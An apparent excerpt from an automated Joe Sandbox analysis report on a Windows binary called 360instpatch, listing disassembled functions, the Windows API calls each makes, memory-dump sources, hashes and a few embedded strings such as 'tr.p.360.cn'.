Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ErrorLast_malloc$_memset
String ID:
API String ID: 1834304950-0
Opcode ID: 1381fcfd8481e2640b768e21ca8730fb5a61f91f4c5cc1fb755a06a0f86dbcb9
Instruction ID: 689a56de9e6c39b29f9dfaa9dc3e3c39cd38b77e6b9883612b9bf1751bffefe4
Opcode Fuzzy Hash: 1381fcfd8481e2640b768e21ca8730fb5a61f91f4c5cc1fb755a06a0f86dbcb9
Instruction Fuzzy Hash: 04B167B19083018BD720DF29C481BABB7E4FF88744F84496DF99987251E770E999CB93

Function 00B14CB0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,00000000,?,00000000,?,?,00B11043,?), ref: 00B14CF6
ReadFile.KERNEL32(?,?,00000008,?,00000000,?,00000000,?,00000000,?,?,00B11043,?), ref: 00B14D13
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,00000000,?,00000000,?,?,00B11043,?), ref: 00B14D98

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File$Pointer$Read
String ID:
API String ID: 2010065189-0
Opcode ID: d24ca40465d28c119a35ae76d153f54fc4511cba12be962405859a438f50fc21
Instruction ID: ff94f6e4b6d943d18a949a23b7b7116953258cd744b92e01ece645f30a84a296
Opcode Fuzzy Hash: d24ca40465d28c119a35ae76d153f54fc4511cba12be962405859a438f50fc21
Instruction Fuzzy Hash: 4C314A706083029BD710DF14E981AABB7E9FB88B44F8009ADF59597290EB70DD84CB93

Function 6BEF6F32 Relevance: 4.6, APIs: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 6BEF6F6F
_memset.LIBCMT ref: 6BEF6F98
_wcsncpy.LIBCMT ref: 6BEF701D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcsncpy$_memset
String ID:
API String ID: 4291556967-0
Opcode ID: b980625705f079460af43368fe3004c27b0c5318db30952fe517177f7afb8c3b
Instruction ID: c8918ee0370adfffd3f2476aa8d2126154e87a623a17606cdc4c63184a68d55d
Opcode Fuzzy Hash: b980625705f079460af43368fe3004c27b0c5318db30952fe517177f7afb8c3b
Instruction Fuzzy Hash: E231507260055A9FDB25CEB4CC55AEEB3BCAF48348F10443EE519C7241EF3996098BA0

Function 00B787F5 Relevance: 4.6, APIs: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B78838
__wsplitpath.LIBCMT ref: 00B78845

Part of subcall function 00B9EDC6: __wsplitpath_helper.LIBCMT ref: 00B9EE08

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B78874

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: DiskFreeSpace__wsplitpath__wsplitpath_helper_memset
String ID:
API String ID: 1401654830-0
Opcode ID: 4111cb026871a1b885cd2123762c3e24a278ff08836297b45b96318df6df4cc3
Instruction ID: c7760ded585dbd49f068d4ceffd897e6b2d39063f017f4e27edfe971d38a2493
Opcode Fuzzy Hash: 4111cb026871a1b885cd2123762c3e24a278ff08836297b45b96318df6df4cc3
Instruction Fuzzy Hash: 3921CC7291030C9FDB61DFE8DC859EEB7FDEF09304F11456AA519AB201EB30A905CB51

Function 6BF26C30 Relevance: 4.6, APIs: 3, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF26C75
RegQueryValueExW.KERNEL32(?,?,00000000,?,?,000001FE,?,?,00000001), ref: 6BF26C96
_wcscpy.LIBCMT ref: 6BF26CA8

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: QueryValue_memset_wcscpy
String ID:
API String ID: 4123947661-0
Opcode ID: 4978dda86e0746564012058899b1fb89730bea8237bbd82874f77c56d3fccca5
Instruction ID: d350fc5769f58881857997a40234095d08f5b3c2be010361fb98c9228dcfb4e5
Opcode Fuzzy Hash: 4978dda86e0746564012058899b1fb89730bea8237bbd82874f77c56d3fccca5
Instruction Fuzzy Hash: CD11C877600329BBD700EBA4DD44FDBB3BCDB48700F1081A5B615D3251DB34DA448BA0

Function 6BF36EBA Relevance: 4.5, APIs: 3, Instructions: 48networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 6BF36EDF
htons.WS2_32(00000000), ref: 6BF36EFD
htonl.WS2_32(?), ref: 6BF36F1B

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: htonl$htons
String ID:
API String ID: 3561267147-0
Opcode ID: 359ffefbac80bf745717557a9f49e390e19f1e7a2525199ac11cdbbf240f3238
Instruction ID: f4862878c1235f0d8d92f3550f56b91d5a277336a0b776c93120697c31ad1a7b
Opcode Fuzzy Hash: 359ffefbac80bf745717557a9f49e390e19f1e7a2525199ac11cdbbf240f3238
Instruction Fuzzy Hash: 88016D7B608236BB9B009FA5CC81CAF77ADAF4669471104A9F94197120D73AD9509BE0

Function 00B12770 Relevance: 4.5, APIs: 3, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00B12744,?), ref: 00B12784
CloseHandle.KERNEL32(00000000), ref: 00B127CD
CloseHandle.KERNEL32(00000000), ref: 00B127D7

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseHandle$CreateFile
String ID:
API String ID: 1378612225-0
Opcode ID: 3148eb3e2b4a958ff3ae5e1c133c122859d454da9f4527abe91493e1d93381ea
Instruction ID: 6d54200c59f9c9ce70e5c88f455c717acb454e1641c00cd28894d4832ce6ce16
Opcode Fuzzy Hash: 3148eb3e2b4a958ff3ae5e1c133c122859d454da9f4527abe91493e1d93381ea
Instruction Fuzzy Hash: 3DF0E93579031177E73023347D4AFC76AD5DBD8B20F150554FA15BB2D4F9A0AC928199

Function 6BF2E920 Relevance: 4.5, APIs: 3, Instructions: 39synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,6BEFC0AE), ref: 6BF2E92A
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 6BF2E959
CloseHandle.KERNEL32(00000000), ref: 6BF2E964

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CloseCreateEventHandleObjectSingleWait
String ID:
API String ID: 2631291778-0
Opcode ID: c2115e2dd13ae7f9e3732ec9e8ed9511f5f0498c5632db43eb2949ca515b9245
Instruction ID: e55bf7df06a13ec01ac1e0985b167113cba95126baf6fda398d249398771b4cc
Opcode Fuzzy Hash: c2115e2dd13ae7f9e3732ec9e8ed9511f5f0498c5632db43eb2949ca515b9245
Instruction Fuzzy Hash: B2F03A73510611BECB605B7A9C4CC4BBBF8EAD7B603148A5EB06AC2170E6799444CA70

Function 00B80319 Relevance: 4.5, APIs: 3, Instructions: 36fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00B8059E,?,00BFCDA4,?,00B8059E,?), ref: 00B80323
CreateFileW.KERNEL32(00B8059E,C0000000,00000001,00000000,00000001,00000080,00000000,?,00B8059E,?), ref: 00B8033E
CloseHandle.KERNEL32(00000000), ref: 00B80367

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: File$CloseCreateDeleteHandle
String ID:
API String ID: 3273607511-0
Opcode ID: f37c78dc9653e83bde842c927f1589e8393e548cd9cb206dae2d3ff958e74663
Instruction ID: b56b76df9c81319e06d93a3c194d61044deb1effe7c6c0c83eff896caa1e942d
Opcode Fuzzy Hash: f37c78dc9653e83bde842c927f1589e8393e548cd9cb206dae2d3ff958e74663
Instruction Fuzzy Hash: 99F0E932150204FFD7213B60DC45FEA3EA9DB887B1F004424FA15970E0DA72E051D7A8

Function 6CDDDF34 Relevance: 4.5, APIs: 3, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6CDDDF4E

Part of subcall function 6CDDD47E: __FF_MSGBANNER.LIBCMT ref: 6CDDD4A1
Part of subcall function 6CDDD47E: __NMSG_WRITE.LIBCMT ref: 6CDDD4A8
Part of subcall function 6CDDD47E: RtlAllocateHeap.NTDLL(00000000,6CDDDF44,?,?,?,?,6CDDDF53,?), ref: 6CDDD4F5

std::bad_alloc::bad_alloc.LIBCMT ref: 6CDDDF71

Part of subcall function 6CDDDF19: std::exception::exception.LIBCMT ref: 6CDDDF25

__CxxThrowException@8.LIBCMT ref: 6CDDDF93

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID:
API String ID: 3715980512-0
Opcode ID: 44b4e40483320c67ca08f4a9454e7f7fc3ec08d16f72fef96034b07f38cd9ea1
Instruction ID: 949aca94849bf0f1a3fc5c531e6912842d17f6a5e1c8f9d0dc60de95785b59dc
Opcode Fuzzy Hash: 44b4e40483320c67ca08f4a9454e7f7fc3ec08d16f72fef96034b07f38cd9ea1
Instruction Fuzzy Hash: C1F02731E08185A2CF0457B0DC119D83BB8AF4131CB224159D91197DB0DF21FA1C8BB2

Function 6BF38425 Relevance: 4.5, APIs: 3, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6BF3843F

Part of subcall function 6BF3856A: __FF_MSGBANNER.LIBCMT ref: 6BF3858D
Part of subcall function 6BF3856A: __NMSG_WRITE.LIBCMT ref: 6BF38594
Part of subcall function 6BF3856A: RtlAllocateHeap.NTDLL(00000000,-0000000D,00000001,00000000,00000000,?,6BF42E8E,00000002,00000001,00000002,?,6BF3F8B1,00000018,6BF7C4F0,0000000C,6BF3F942), ref: 6BF385E1

std::bad_alloc::bad_alloc.LIBCMT ref: 6BF38462

Part of subcall function 6BF3840A: std::exception::exception.LIBCMT ref: 6BF38416

__CxxThrowException@8.LIBCMT ref: 6BF38484

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::exception::exception
String ID:
API String ID: 3715980512-0
Opcode ID: 840c83428332f3a657710968a653f2af3e0ab31d08a72c3ae0c60bf1b0f497f5
Instruction ID: 9f355cc390befcbf5886a6e8bb0e83964c25f0074ad9871f2853b381a7695a7f
Opcode Fuzzy Hash: 840c83428332f3a657710968a653f2af3e0ab31d08a72c3ae0c60bf1b0f497f5
Instruction Fuzzy Hash: 18F0273380012AB6DF44E731D81A94F7B589B01A5CF1080A4D852D28B0DF2EC6858BD1

Function 6BF19455 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 406COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF194C1

Part of subcall function 6BF193DF: UrlCanonicalizeW.SHLWAPI(?,?,00000824,20000000), ref: 6BF19429

Part of subcall function 6BEF1768: _wcslen.LIBCMT ref: 6BEF176F

Part of subcall function 6BEE8514: char_traits.LIBCPMT ref: 6BEE8539

Part of subcall function 6BEE8FA1: char_traits.LIBCPMT ref: 6BEE901B

Part of subcall function 6BEED55B: _wcslen.LIBCMT ref: 6BEED562

Strings

://, xrefs: 6BF195C3

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _wcslenchar_traits$Canonicalize_memset
String ID: ://
API String ID: 1237851060-1869659232
Opcode ID: cccc4453c2eb3c5e53842a2608e49a46ecc32380a688968607273dafa33e4e42
Instruction ID: e2caf012ba4d7dff40bcca973a72463c5dcc4810c6283eac01a3cd2708f3cfa2
Opcode Fuzzy Hash: cccc4453c2eb3c5e53842a2608e49a46ecc32380a688968607273dafa33e4e42
Instruction Fuzzy Hash: FAE143B680014CAEDB25DFA4CD95EEF7BBCEF15348F10455DA809A7181EB385A09CBB1

Function 6BF0EC26 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF0EE43

Strings

DNS--CName:, xrefs: 6BF0EE60

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset
String ID: DNS--CName:
API String ID: 2102423945-2042605141
Opcode ID: f71dcb98dab9560eeef630fd26afbb595d5b552610caa4e074db4edad5cbb725
Instruction ID: 2474453e8ac44136aceff9442a3db938e11a661a8f6e1b7356dc3cdde4479ea3
Opcode Fuzzy Hash: f71dcb98dab9560eeef630fd26afbb595d5b552610caa4e074db4edad5cbb725
Instruction Fuzzy Hash: 8161AD3391160AAFDB258FB4CD20A9EBBB6BF15704F00096DE45A92930DF39A955EF40

Function 6BF1151C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF11523

Part of subcall function 6BF0C7D8: __EH_prolog3.LIBCMT ref: 6BF0C7DF
Part of subcall function 6BF0C7D8: GetTickCount.KERNEL32 ref: 6BF0C85B
Part of subcall function 6BF0C7D8: _memset.LIBCMT ref: 6BF0C964

Part of subcall function 6BF2405E: _memset.LIBCMT ref: 6BF24091
Part of subcall function 6BF2405E: wvnsprintfW.SHLWAPI(?,000003FF,6BFCC288,6BF0E1F9), ref: 6BF240AC

Strings

[%d.] __CreateTask Init task fail. Id:%d, Pdown:%s, File:%s, xrefs: 6BF11577, 6BF1160D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_memset$CountTickwvnsprintf
String ID: [%d.] __CreateTask Init task fail. Id:%d, Pdown:%s, File:%s
API String ID: 4122227224-1580467494
Opcode ID: 5dff2e30d0075aea53d0aa4a857b3bfdd8dfe690088fbad42b9036960e35bdc7
Instruction ID: 9bcfc46c6cce648130d8e211dfae8852f7484721341f25fbcb873e9f898dc3e6
Opcode Fuzzy Hash: 5dff2e30d0075aea53d0aa4a857b3bfdd8dfe690088fbad42b9036960e35bdc7
Instruction Fuzzy Hash: DA21D277700217BBCF015FB88CA196E7667AF94308F00492CF9169A2B0DF7E8A11A761

Function 6BF32C7A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF32D45

Strings

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick
String ID: Login begin Timer
API String ID: 536389180-3628901022
Opcode ID: 422e62492c9bebbf55dc627c92e41207500a896b10d6c0a4a94009fb416c5251
Instruction ID: b73f150e270a0dcfcfd008f988ee0c6939ace0e2fcf287a4dd4e14fe81df7161
Opcode Fuzzy Hash: 422e62492c9bebbf55dc627c92e41207500a896b10d6c0a4a94009fb416c5251
Instruction Fuzzy Hash: F1310673A097A19EE725DF74D4E875ABBE19B41304F0009AEC59A87270D73BA84CC7D1

Function 6BF35ECE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,6BF35999,6BFCC810,00000000,?), ref: 6BF35F2C

Strings

tr.p.360.cn, xrefs: 6BF35ECE

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CreateThread
String ID: tr.p.360.cn
API String ID: 2422867632-613191693
Opcode ID: 929c62f73469887e6e9f2f6a61c51652e4ebd06cc7d6089ca08778fa331d555c
Instruction ID: 201185b0e11984f4da07b31f4cc112057d666d31ecc7c5b0edb94fcec482ea8b
Opcode Fuzzy Hash: 929c62f73469887e6e9f2f6a61c51652e4ebd06cc7d6089ca08778fa331d555c
